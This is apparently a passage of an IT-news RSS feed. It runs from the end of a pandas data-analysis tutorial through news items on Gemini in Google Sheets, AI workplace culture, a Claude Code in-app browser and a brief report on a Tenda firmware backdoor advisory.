<p class="wp-block-paragraph">If you want to extract specific rows, you can use a list of the row IDs; for example, <code>df.iloc[[0,1,2,5,7,10,12]]</code>. (Note the double brackets—that means you’re providing a list as the first argument.)</p>



<p class="wp-block-paragraph">Another way to extract rows is with <code>.loc[]</code>. This extracts a subset based on <em>labels</em> for rows. By default, rows are labeled with an incrementing integer value starting with 0. But data can also be labeled manually by <a href="https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.index.html#pandas.DataFrame.index">setting the dataframe’s .index property</a>.</p>



<p class="wp-block-paragraph">For instance, if we wanted to re-index the above dataframe so that each row had an index using multiples of 100, we could use <code>df.index = range(0, len(df)*100, 100)</code>. Then, if we used, <code>df.loc[100]</code>, we’d get the second row.</p>



<h3 class="wp-block-heading">Subsetting columns</h3>



<p class="wp-block-paragraph">If you want to retrieve only a certain subset of columns along with your row slices, you do this by passing a list of columns as a second argument:</p>



<pre class="wp-block-code"><code>df.loc[[rows], [columns]]</code></pre>



<p class="wp-block-paragraph">For instance, with the above dataset, if we want to get only the country and year columns for all rows, we’d do this:</p>



<pre class="wp-block-code"><code>df.loc[:, ["country","year"]]</code></pre>



<p class="wp-block-paragraph">The <code>:</code> in the first position means “all rows” (it’s Python’s slicing syntax). The list of columns follows after the comma.</p>



<p class="wp-block-paragraph">You can also specify columns by position when using <code>.iloc</code>:</p>



<pre class="wp-block-code"><code>df.iloc[:, [0,2]]</code></pre>



<p class="wp-block-paragraph">Or, to get just the first three columns:</p>



<pre class="wp-block-code"><code>df.iloc[:, 0:3]</code></pre>



<p class="wp-block-paragraph">All of these approaches can be combined, as long as you remember <code>loc</code> is used for labels and column names, and <code>iloc</code> is used for numeric indexes. The following tells Pandas to extract the first 100 rows by their numeric labels, and then from <em>that</em> to extract the first three columns by their indexes:</p>



<pre class="wp-block-code"><code>df.loc[0:100].iloc[:, 0:3]</code></pre>



<p class="wp-block-paragraph">It’s generally least confusing to use actual column names when subsetting data. It makes the code easier to read, and you don’t have to refer back to the dataset to figure out which column corresponds to what index. It also protects you from mistakes if columns are re-ordered.</p>



<h2 class="wp-block-heading">Grouped and aggregated calculations</h2>



<p class="wp-block-paragraph">Spreadsheets and number-crunching libraries all come with methods for generating statistics about data. Consider the Gapminder data again:</p>



<pre class="wp-block-code"><code>
print(df.head(n=10))
|    country      continent  year  lifeExp  pop       gdpPercap
| 0  Afghanistan  Asia       1952  28.801    8425333  779.445314
| 1  Afghanistan  Asia       1957  30.332    9240934  820.853030
| 2  Afghanistan  Asia       1962  31.997   10267083  853.100710
| 3  Afghanistan  Asia       1967  34.020   11537966  836.197138
| 4  Afghanistan  Asia       1972  36.088   13079460  739.981106
| 5  Afghanistan  Asia       1977  38.438   14880372  786.113360
| 6  Afghanistan  Asia       1982  39.854   12881816  978.011439
| 7  Afghanistan  Asia       1987  40.822   13867957  852.395945
| 8  Afghanistan  Asia       1992  41.674   16317921  649.341395
| 9  Afghanistan  Asia       1997  41.763   22227415  635.341351
</code></pre>



<p class="wp-block-paragraph">Here are some examples of questions we could ask about this data:</p>



<ol class="wp-block-list">
<li>What’s the average life expectancy for each year in this data?</li>



<li>What if I want averages across the years and the continents?</li>



<li>How do I count how many countries in this data are in each continent?</li>
</ol>



<p class="wp-block-paragraph">The way to answer these questions with Pandas is to perform a <em>grouped</em> or <em>aggregated</em> calculation. We can split the data along certain lines, apply some calculation to each split segment, and then re-combine the results into a new dataframe.</p>



<h3 class="wp-block-heading">Grouped means counts</h3>



<p class="wp-block-paragraph">The first method we’d use for this is Pandas’s <code>df.groupby()</code> operation. We provide a column we want to split the data by:</p>



<pre class="wp-block-code"><code>df.groupby("year")</code></pre>



<p class="wp-block-paragraph">This allows us to treat all rows with the same <code>year</code> value together, as a distinct object from the dataframe itself.</p>



<p class="wp-block-paragraph">From there, we can use the “life expectancy” column and calculate its per-year mean:</p>



<pre class="wp-block-code"><code>
print(df.groupby('year')['lifeExp'].mean())
year
1952 49.057620
1957 51.507401
1962 53.609249
1967 55.678290
1972 57.647386
1977 59.570157
1982 61.533197
1987 63.212613
1992 64.160338
1997 65.014676
2002 65.694923
2007 67.007423
</code></pre>



<p class="wp-block-paragraph">This gives us the mean life expectancy for all populations, by year. We could perform the same kinds of calculations for population and GDP by year:</p>



<pre class="wp-block-code"><code>
print(df.groupby('year')['pop'].mean())
print(df.groupby('year')['gdpPercap'].mean())
</code></pre>



<p class="wp-block-paragraph">So far, so good. But what if we want to group our data by more than one column? We can do this by passing columns in lists:</p>



<pre class="wp-block-code"><code>
print(df.groupby(['year', 'continent'])
  [['lifeExp', 'gdpPercap']].mean())
                  lifeExp     gdpPercap
year continent
1952 Africa     39.135500   1252.572466
     Americas   53.279840   4079.062552
     Asia       46.314394   5195.484004
     Europe     64.408500   5661.057435
     Oceania    69.255000  10298.085650
1957 Africa     41.266346   1385.236062
     Americas   55.960280   4616.043733
     Asia       49.318544   5787.732940
     Europe     66.703067   6963.012816
     Oceania    70.295000  11598.522455
1962 Africa     43.319442   1598.078825
     Americas   58.398760   4901.541870
     Asia       51.563223   5729.369625
     Europe     68.539233   8365.486814
     Oceania    71.085000  12696.452430
</code></pre>



<p class="wp-block-paragraph">This <code>.groupby()</code> operation takes our data and groups it first by year, and then by continent. Then, it generates mean values from the life-expectancy and GDP columns. This way, you can create groups in your data and rank how they are to be presented and calculated.</p>



<p class="wp-block-paragraph">If you want to “flatten” the results into a single, incrementally indexed frame, you can use the <code>.reset_index()</code> method on the results:</p>



<pre class="wp-block-code"><code>
gb = df.groupby(['year', 'continent'])
[['lifeExp', 'gdpPercap']].mean()
flat = gb.reset_index() 
print(flat.head())
|     year  continent  lifeExp    gdpPercap
| 0   1952  Africa     39.135500   1252.572466
| 1   1952  Americas   53.279840   4079.062552
| 2   1952  Asia       46.314394   5195.484004
| 3   1952  Europe     64.408500   5661.057435
| 4   1952  Oceana     69.255000  10298.085650
</code></pre>



<h3 class="wp-block-heading">Grouped frequency counts</h3>



<p class="wp-block-paragraph">Something else we often do with data is compute <em>frequencies</em>. The <code>nunique</code> and <code>value_counts</code> methods can be used to get unique values in a series, and their frequencies. For instance, here’s how to find out how many countries we have in each continent:</p>



<pre class="wp-block-code"><code>
print(df.groupby('continent')['country'].nunique()) 
continent
Africa    52
Americas  25
Asia      33
Europe    30
Oceana     2
</code></pre>



<h2 class="wp-block-heading">Basic plotting with Pandas and Matplotlib</h2>



<p class="wp-block-paragraph">Most of the time, when you want to visualize data, you’ll use another library such as Matplotlib to generate those graphics. However, you can use Matplotlib directly (along with some other plotting libraries) to generate visualizations from within Pandas.</p>



<p class="wp-block-paragraph">To use the simple Matplotlib extension for Pandas, first make sure you’ve installed Matplotlib with <code>pip install matplotlib</code>.</p>



<p class="wp-block-paragraph">Now let’s look at the yearly life expectancies for the world population again:</p>



<pre class="wp-block-code"><code>
global_yearly_life_expectancy = df.groupby('year')['lifeExp'].mean() 
print(global_yearly_life_expectancy) 
| year
| 1952  49.057620
| 1957  51.507401
| 1962  53.609249
| 1967  55.678290
| 1972  57.647386
| 1977  59.570157
| 1982  61.533197
| 1987  63.212613
| 1992  64.160338
| 1997  65.014676
| 2002  65.694923
| 2007  67.007423
| Name: lifeExp, dtype: float64
</code></pre>



<p class="wp-block-paragraph">To create a basic plot from this, use:</p>



<pre class="wp-block-code"><code>
import matplotlib.pyplot as plt
global_yearly_life_expectancy = df.groupby('year')['lifeExp'].mean() 
c = global_yearly_life_expectancy.plot().get_figure()
plt.savefig("output.png")
</code></pre>



<p class="wp-block-paragraph">The plot will be saved to a file in the current working directory as <code>output.png</code>. The axes and other labeling on the plot can all be set manually, but for quick exports this method works fine.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/1633998/microsoft-launches-native-integration-for-python-in-excel.html">Python and Pandas</a> offer many features you can’t get from spreadsheets. For one, they let you automate your work with data and make the results reproducible. Rather than write spreadsheet macros, which are clunky and limited, you can use Pandas to analyze, segment, and transform data—and use Python’s expressive power and package ecosystem (for instance, for graphing or rendering data to other formats) to do even more than you could with Pandas alone.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Q&A: How Google plans to reinvent the spreadsheet with AI]]></title>
<description><![CDATA[Nearly five decades after the launch of VisiCalc, AI is reshaping one of the world’s most familiar productivity tools — the humble spreadsheet.



While a lot of knowledge workers interact with spreadsheets on a regular basis, many lack the skills and confidence to access more advanced functions....]]></description>
<link>https://tsecurity.de/de/3665017/ai-nachrichten/qa-how-google-plans-to-reinvent-the-spreadsheet-with-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665017/ai-nachrichten/qa-how-google-plans-to-reinvent-the-spreadsheet-with-ai/</guid>
<pubDate>Mon, 13 Jul 2026 13:04:15 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Nearly five decades after the launch of VisiCalc, AI is reshaping one of the world’s most familiar productivity tools — the humble spreadsheet.</p>



<p>While a lot of knowledge workers <a href="https://www.acuitytraining.co.uk/news-tips/new-excel-facts-statistics/" target="_blank" rel="noreferrer noopener">interact with spreadsheets on a regular basis</a>, many lack the skills and confidence to access more advanced functions.</p>



<p>“For a very long time, spreadsheets forced you to learn spreadsheet syntax and spreadsheet ways of working,” said Eric Birnbaum, director of product management for <a href="https://www.computerworld.com/article/1657150/how-to-use-google-sheets.html" data-type="link" data-id="https://www.computerworld.com/article/1657150/how-to-use-google-sheets.html">Google Sheets</a>. “But think about how many people need to use spreadsheets at work and don’t have the skill set to create the kinds of spreadsheets that can be really helpful for them.”</p>



<p>The addition of artificial intelligence can help handle that issue, he said, making the software more accessible to a wide range of office workers. “AI is unlocking the power of spreadsheets, taking on a lot of the difficult work that’s required to use them. That can be incredibly empowering for users,” said Birnbaum.</p>



<p>Google has steadily <a href="https://www.computerworld.com/article/4131504/gemini-supercharge-google-sheets-spreadsheets.html" data-type="link" data-id="https://www.computerworld.com/article/4131504/gemini-supercharge-google-sheets-spreadsheets.html">expanded generative AI (genAI) capabilities in Sheets</a> since launching Duet AI — now Gemini — for Workspace in 2023.</p>



<p>Gemini in Sheets is available at no extra cost to Google Workspace subscribers, though a paid <a href="https://knowledge.workspace.google.com/admin/generative-ai/workspace-with-gemini/ai-expanded-access" target="_blank" rel="noreferrer noopener">AI Expanded Access add-on </a>– costing $30 per user each month – is required to remove certain usage limits.</p>



<p>Features that have rolled out in recent months include the ability for a Gemini agent in Sheets to carry out <a href="https://workspaceupdates.googleblog.com/2025/10/expanded-editing-capabilities-gemini-in-google-sheets.html" target="_blank" rel="noreferrer noopener">multi-step actions</a> such as formatting, analysis and data entry, and, more recently, the ability to <a href="https://workspaceupdates.googleblog.com/2026/04/build-and-edit-complex-spreadsheets-with-Gemini-in-Google-Sheets.html" target="_blank" rel="noreferrer noopener">create entire spreadsheets</a> from a single prompt. A <a href="https://workspaceupdates.googleblog.com/2026/04/effortlessly-automate-data-entry-in-Google-Sheets-using-Fill-with-Gemini.html" target="_blank" rel="noreferrer noopener">Fill with Gemini feature </a>builds on the<a href="https://workspaceupdates.googleblog.com/2025/06/generate-data-with-gemini-in-google-sheets.html" target="_blank" rel="noreferrer noopener"> existing AI function,</a> enabling users to automatically populate selected cells by detecting intent from information within a spreadsheet as well as from the web.</p>



<p>Another feature, Sheets Canvas (currently available in alpha), lets users generate interactive apps that update in real-time based on changes to spreadsheet data. This could be a kanban board for a sales pipeline, for instance, or an analytics dashboard that uses Sheets as its back-end data source. </p>



<p>Google claims users already see a range of benefits from Gemini in Sheets. According to an August 2025 survey of 200 Sheets users conducted by the company, the majority of knowledge workers (89%) said AI features in Sheets save them at least an hour a week, and 88% believe AI features have made them more confident in their data analysis skills. </p>



<p>The most popular AI use cases include creating spreadsheets and charts, analyzing data, and fixing broken formulas. How widely these features are actually used is unclear; Google declined to provide weekly usage statistics for Gemini in Sheets.</p>



<p>As the company embeds Gemini deeper into Sheets, questions remain about just how much businesses can trust AI tools to handle important business data, as well as what increased automation means for those who spend much of their day wrangling data. </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> width="480" height="480" sizes="auto, (max-width: 480px) 100vw, 480px"&gt;<figcaption class="wp-element-caption"><p>Eric Birnbaum, director of product management for Google Sheets.</p></figcaption></figure><p class="imageCredit">Google</p></div>



<p><em>Computerworld</em> recently talked with Birnbaum about the potential benefits and challenges of the latest evolution of spreadsheet software. This interview has been condensed and edited for clarity.</p>



<p><strong>As businesses become more focused on seeing value from AI investments, what measurable benefits are customers seeing from Gemini in Sheets – for example, time saved or other forms of return on investment? </strong>“Spreadsheets remain one of the universal languages for businesses, and we don’t anticipate that’s going to change anytime soon. But by bringing AI into the product where people work, we think it can significantly reduce the technical tax of data: the time spent understanding it, sourcing it, analyzing it, visualizing it.</p>



<p>“Historically, data professionals spent — let’s estimate it at 80% of their time — on the mechanical groundwork, data cleaning, crafting formulas, formatting, troubleshooting, and maybe only 20% of their time on actual strategic decision-making.</p>



<p>“We think that by offloading the manual, time-consuming, error-prone data work to Gemini, we can flip that ratio a bit, so humans can focus on the things that really matter: the high-value questions to ask and the judgment calls and decisions that get made from them. We’re starting to see evidence of that in our own user base and customer base.</p>



<p>“The second point to make is that AI can democratize data analysis to some extent, and make it available to many more users. For so many years, the spreadsheet was a gatekeeper; if you couldn’t speak the rigid language of spreadsheet formulas, you couldn’t extract the value from data. But by introducing these natural language interfaces, AI is separating the analytical capability from the technical literacy. </p>



<p>“If you can ask the right questions, or describe what you want in plain language, Gemini and Sheets can help you achieve your goals in a spreadsheet, even if you have minimal spreadsheet skills yourself.</p>



<p>“What we’ve seen so far from users and customers is that it’s incredibly empowering for people who might have been scared off by data analysis or dreaded opening spreadsheets in the past. You don’t need to go and wait for a data analyst to help you; you can go and do this work yourself in a spreadsheet.”</p>



<p><strong>The flip side is, how confident can businesses be if more junior employees can take on higher-level analysis tasks by relying on AI? Given the propensity for AI models to hallucinate, to what degree can businesses trust that these tools won’t introduce errors into important business data? </strong>“It’s something we spent a ton of time thinking about. We’ve gone to great lengths to build these AI tools to collaborate with you, to show their work, explain what they did, and make sure that you can take over where they leave off.</p>



<p>“Our Sheets agent, for example, lays out a really explicit, transparent plan for you to review and approve before any data manipulation happens. It’s designed to do that in plain natural language in a way that the average user could understand, and then it gives you back that final summary, so you know exactly what it did and where it did it.</p>



<p>“The other thing is that the model is great at explaining things. If you inherit a spreadsheet that has some complex formula that you don’t understand, for example, the model does an amazing job of explaining how it works and what it’s doing.</p>



<p>“In many ways AI is not only making these features more accessible, but helping users feel more confident in the output. Human error is an inherent risk in manual data management, with or without AI. One misplaced comma or broken cell reference can completely corrupt an entire financial model, and it can be completely undetected. </p>



<p>“Our approach with AI in Sheets is to create this deliberate verification loop. You now have another spreadsheet expert working along with you, reducing the likelihood of these mistakes.”</p>



<p><strong>Even if humans produce errors too, does it ultimately come down to accountability when AI is involved? </strong>“Our point of view here is that AI should be partnering with the knowledge worker who’s doing the work here. And everything that we’ve built is designed to be that partner. You might be able to offload tasks to the model, but we’re citing sources, we’re providing plans and explanations. We’re ultimately relying on the user to do that final verification.</p>



<p>“We spend a humongous amount of time focused on quality. We know that for AI to be useful in spreadsheets, it has to be reliable. When we launched Sheets Gemini Agent, for example, we were really proud that we set a state-of-the-art benchmark on the full SpreadsheetBench data set, which at the time exceeded competitors and near-human expert ability. </p>



<p>“But we know quality is never ‘good enough’ or done. We’re constantly working to improve quality for our users and customers, and for the use cases where they’re relying on AI most.”</p>



<p><strong>What potential do you see for more agentic functionality in Gemini Sheets — for example, bringing in data from other sources, creating recurring reports, or taking more actions independently? “</strong>We’re listening closely to customers and users and building what they’re telling us they need. The agent is already capable of doing very complex multistep workflows, and we see users discover that the agent is extremely capable of doing end-to-end spreadsheet tasks. In terms of connectors, in an alpha we have connections available to HubSpot, Salesforce, and Mailchimp. We hope to expand that over time.</p>



<p>“There’s no path to have AI replacing analysts. I think AI is giving analysts more time back to actually do the more valuable parts of their job. Analysts that I work with are way more productive and impactful than they ever were before, because they can push that uninteresting spreadsheet grunt work off to the model, freeing up time for more interesting and impactful work.</p>



<p>“A great example: the visualizations I’m getting back from analysts nowadays are canvases instead of static charts that I can explore myself. It’s way more informative and useful than what I was accustomed to before.”</p>



<p><strong>Looking ahead, do you expect a larger share of spreadsheet work to be carried out by agents, with humans setting goals and reviewing results? What will be the biggest change in how people use spreadsheets with AI? </strong>“The tasks are likely to stay similar and the use cases for spreadsheets are likely to continue to be relevant. The biggest change will be the ability to push the uninteresting spreadsheet grunt work off to a model and free up time for the user to do things that are more impactful, more interesting, more meaningful to the business.</p>



<p>‘Spreadsheets have historically been these like static containers where data goes to rest. I think AI can turn spreadsheets into these dynamic, localized software applications. And I do actually think this sort of changes the game for how people might use spreadsheets moving forward. </p>



<p>“It’s not just a passive grid full of numbers; spreadsheets are evolving to become these live, long-lived, collaborative applications. Employees can build these on the fly, like a basic CRM or supply chain dashboard in seconds. This is an area of investment for us moving forward, and we’re really excited to see how this evolves.”</p>



<p><strong>AI assistants and agents, such as ChatGPT or Claude, might be able to analyze spreadsheet files and business data without users working inside a spreadsheet application. What do you think will keep Sheets central to the workflow, rather than simply making it one part of a wider AI-driven process?</strong>“We’re in constant touch with customers and users; it’s clear work is still happening in spreadsheets. I think spreadsheets remain incredibly popular tools. If we can bring the AI capabilities users need directly into the product where they already are, we’ll transform the way they work.  </p>



<p>“I think we can be the front-end for some of this great AI innovation and the products that users are accustomed to today. Everything we build is guided by user feedback: users are telling us right now they want AI to help them do their everyday or more complex tasks, and they’re starting in Sheets today.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[5 steps to building an AI-ready culture before your next technology investment]]></title>
<description><![CDATA[Technology is evolving at a relentless pace. Headlines proclaim the latest AI breakthroughs and generative models that promise to transform the way we work. Yet, when I sit down with leaders across industries, the conversation quickly shifts. The real questions are not about models, algorithms, o...]]></description>
<link>https://tsecurity.de/de/3664589/it-nachrichten/5-steps-to-building-an-ai-ready-culture-before-your-next-technology-investment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664589/it-nachrichten/5-steps-to-building-an-ai-ready-culture-before-your-next-technology-investment/</guid>
<pubDate>Mon, 13 Jul 2026 10:03:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Technology is evolving at a relentless pace. Headlines proclaim the latest AI breakthroughs and generative models that promise to transform the way we work. Yet, when I sit down with leaders across industries, the conversation quickly shifts. The real questions are not about models, algorithms, or shiny tech investments; they’re about people. How do we equip our teams to thrive amid disruption – not just survive it? What practical steps move us from mere digitisation to lasting transformation?</p>



<p>These are the questions at the heart of a recent episode in our Decoding Business Transformation series. I had the pleasure of hosting Dr Sean Gallagher, founder of Humanova and one of Australia’s foremost voices on the future of work. The insights and recommendations below are drawn directly from that conversation, and I believe every boardroom should confront them head-on:<strong> In the era of agentic AI, culture will determine winners, not code.</strong></p>



<h2 class="wp-block-heading">The fancy tech is table stakes. People are the differentiator.</h2>



<p>Let’s debunk a persistent myth: successful AI adoption is not a technology problem – it’s a talent and culture challenge.</p>



<p>Recent BCG research shows that high-performing AI leaders invest 70% of their resources into people and processes, with just 10% going to the algorithms themselves. Real value emerges when we empower individuals at every level – equipping them with the mindset, capabilities, and (crucially) the psychological safety to experiment with and apply new technologies.</p>



<p>As Dr Gallagher put it: “AI is a talent strategy, not just a technology play.” Transformation begins not with a new tool, but with a fundamental reimagining of how we nurture, develop, and inspire our people to explore, experiment, and adapt.</p>



<h2 class="wp-block-heading">Why most AI projects fail: Ignoring the human element</h2>



<p>Here’s a sobering truth, surfaced by Deloitte a decade ago: humans adapt to exponential technologies much faster than organisations do. The mistake? Leaders try to “bolt on” AI to outdated processes – putting a rocket on a jalopy, so to speak.</p>



<p>True transformation happens when we flip the script: empower employees first, technology second.</p>



<p>Frameworks such as the “Work Value Pyramid” can help organisations focus on shifting time away from repetitive administrative work and towards creativity, problem-solving, and strategic innovation. In practice, this means:</p>



<ul class="wp-block-list">
<li>Resisting knee-jerk reductions in headcount. Your people’s tacit knowledge is invaluable capital.</li>



<li>Rewiring incentives and KPIs to reward learning, experimentation, and sharing.</li>



<li>Destigmatising “shadow AI” use. Bring your secret AI champions into the open, empower them as peer teachers, and build psychological safety for everyone to explore.</li>
</ul>



<h2 class="wp-block-heading">Flatten the org; Redesign the work</h2>



<p>The blueprint for winning in the AI age is taking shape: Flatter, Faster, Fitter, Fewer.</p>



<ul class="wp-block-list">
<li>Flatter: Remove unnecessary hierarchy. Push decision-making to the edges of the organisation.</li>



<li>Faster: AI is about more than simply doing things; it’s about doing them at the speed the market now demands.</li>



<li>Fitter: Build nimble, AI-literate teams who treat AI as a digital colleague – not a threat.</li>



<li>Fewer: Growth is not about increasing headcount; it’s about unlocking higher-value work for everyone.</li>
</ul>



<p>Above all, resist the temptation to simply automate legacy processes. As McKinsey put it, “the fundamental redesign of workflows is the largest factor correlated with real impact.” Start with people and how work creates value – then let AI accelerate, not dictate, those improvements.</p>



<h2 class="wp-block-heading">Measurement: Macro, not micro</h2>



<p>Most companies focus on the wrong metrics: time saved per prompt, or “AI-powered” process widgets. That’s missing the point.</p>



<p>Instead, focus on:</p>



<ul class="wp-block-list">
<li>Business-wide impact: Are you accelerating time-to-market? Opening new revenue streams? Raising the innovation bar?</li>



<li>Learning culture: Are teams sharing use cases and lessons? Is experimentation a norm?</li>



<li>Accountability KPIs: Prioritise experimentation, collaboration, and demonstrated learning over mere output.</li>
</ul>



<h2 class="wp-block-heading">In closing: The real transformation is human</h2>



<p>If there’s one message from my conversation with Dr Gallagher, and from everything I’ve seen working with the world’s most ambitious brands, it’s this:</p>



<ul class="wp-block-list">
<li>Invest deeply in your people – early, intentionally, and continuously.</li>



<li>Amplify the learning and experiments of your early adopters.</li>



<li>Model the behaviour you seek, starting with leadership.</li>



<li>Redefine productivity around effectiveness and innovation – not just efficiency.</li>
</ul>



<p>Generative AI, and the new breed of AI “agents”, are rapidly becoming our digital colleagues. But only human curiosity, courage, and culture can unlock their full value. In this era, the ultimate competitive advantage is not code. It’s culture.</p>



<p>To learn more about Twilio, visit <a href="https://www.twilio.com/en-us/why-twilio?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_end-cta-5steps_brandposthub" target="_blank" rel="sponsored">here</a>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity">
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic Adds A Dedicated In-App Browser To Claude Code Desktop]]></title>
<description><![CDATA[Anthropic recently announced a major update for developers using its desktop tools. The company just introduced a dedicated in-app browser for the Claude Code desktop application. This new feature allows users to access web pages, read documentation, and interact with online resources without eve...]]></description>
<link>https://tsecurity.de/de/3661886/ios-mac-os/anthropic-adds-a-dedicated-in-app-browser-to-claude-code-desktop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661886/ios-mac-os/anthropic-adds-a-dedicated-in-app-browser-to-claude-code-desktop/</guid>
<pubDate>Sat, 11 Jul 2026 15:09:01 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Anthropic recently announced a major update for developers using its desktop tools. The company just introduced a dedicated in-app browser for the Claude Code desktop application. This new feature allows users to access web pages, read documentation, and interact with online resources without ever leaving their primary coding environment.



It aims to reduce interruptions and streamline how developers rely on artificial intelligence during daily software engineering tasks.



The new tool helps you research code without switching windows



According to the company, developers can now open framework references, check code repositories, and review live dashboards alongside their active project files. The development team highlighted the release on social media, stating, “Claude Code on desktop now has an in-app browser.” They explained that the AI assistant can easily “pull up docs, designs, or any other site.”



Additionally, it can read and click through web pages exactly like it interacts with local development servers. This eliminates the need to constantly bounce between a standalone browser and a coding workspace just to verify technical specifications or debug an application.



A sandboxed environment keeps your personal login data completely secure



Security remains a major focus for this desktop feature. The built-in browser operates in a completely clean and sandboxed profile. This means it does not access your personal browsing history or saved passwords. As the developers noted, the setup is highly flexible, allowing you to “choose whether sessions persist.”



If a user needs the system to act on their behalf using an active login, the company recommends sticking to the standard Chrome extension instead. The desktop browser is strictly for building and testing, protecting your identity while you work.



By integrating web access directly into the workspace, the company is pushing its coding assistant beyond a simple chat interface into a fully featured development platform. Instead of constantly switching between windows, programmers can keep their research and actual coding connected in one single place.]]></content:encoded>
</item>
<item>
<title><![CDATA[Datacenter MacGyver saved the biggest football match of the year]]></title>
<description><![CDATA[Police wanted to call off a grudge game until tech support electrified fevered fans]]></description>
<link>https://tsecurity.de/de/3658892/it-nachrichten/datacenter-macgyver-saved-the-biggest-football-match-of-the-year/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658892/it-nachrichten/datacenter-macgyver-saved-the-biggest-football-match-of-the-year/</guid>
<pubDate>Fri, 10 Jul 2026 08:32:30 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Police wanted to call off a grudge game until tech support electrified fevered fans]]></content:encoded>
</item>
<item>
<title><![CDATA[Datacenter MacGyver saved the biggest football match of the year]]></title>
<description><![CDATA[Police wanted to call off a grudge game until tech support electrified fevered fans]]></description>
<link>https://tsecurity.de/de/3658892/it-nachrichten/datacenter-macgyver-saved-the-biggest-football-match-of-the-year/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658892/it-nachrichten/datacenter-macgyver-saved-the-biggest-football-match-of-the-year/</guid>
<pubDate>Fri, 10 Jul 2026 08:32:30 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Police wanted to call off a grudge game until tech support electrified fevered fans]]></content:encoded>
</item>
<item>
<title><![CDATA[CERT Warns of Unpatched Tenda Firmware Backdoor Allowing Admin Access]]></title>
<description><![CDATA[The CERT Coordination Center (CERT/CC) has disclosed a critical security issue affecting multiple Tenda networking devices. Tracked as CVE-2026-11405, the vulnerability stems from an undocumented backdoor in Tenda firmware that allows unauthenticated attackers to gain administrative access to a d...]]></description>
<link>https://tsecurity.de/de/3656250/it-security-nachrichten/cert-warns-of-unpatched-tenda-firmware-backdoor-allowing-admin-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656250/it-security-nachrichten/cert-warns-of-unpatched-tenda-firmware-backdoor-allowing-admin-access/</guid>
<pubDate>Thu, 09 Jul 2026 09:22:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1253" height="762" src="https://thecyberexpress.com/wp-content/uploads/CVE-2026-11405.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="CVE-2026-11405" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/CVE-2026-11405.webp 1253w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-11405-300x182.webp 300w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-11405-1024x623.webp 1024w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-11405-768x467.webp 768w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-11405-600x365.webp 600w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-11405-150x91.webp 150w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-11405-750x456.webp 750w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-11405-1140x693.webp 1140w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-11405.webp 1253w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-11405-300x182.webp 300w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-11405-1024x623.webp 1024w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-11405-768x467.webp 768w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-11405-600x365.webp 600w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-11405-150x91.webp 150w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-11405-750x456.webp 750w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-11405-1140x693.webp 1140w" sizes="(max-width: 1253px) 100vw, 1253px" title="CERT Warns of Unpatched Tenda Firmware Backdoor Allowing Admin Access 1"></p><span data-contrast="auto">The CERT Coordination Center (CERT/CC) has disclosed a critical security issue affecting multiple Tenda networking devices. Tracked as CVE-2026-11405, the vulnerability stems from an undocumented backdoor in Tenda firmware that allows unauthenticated attackers to gain administrative access to a device’s web management interface. The flaw remains unpatched, prompting CERT to recommend immediate mitigation measures for affected users.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

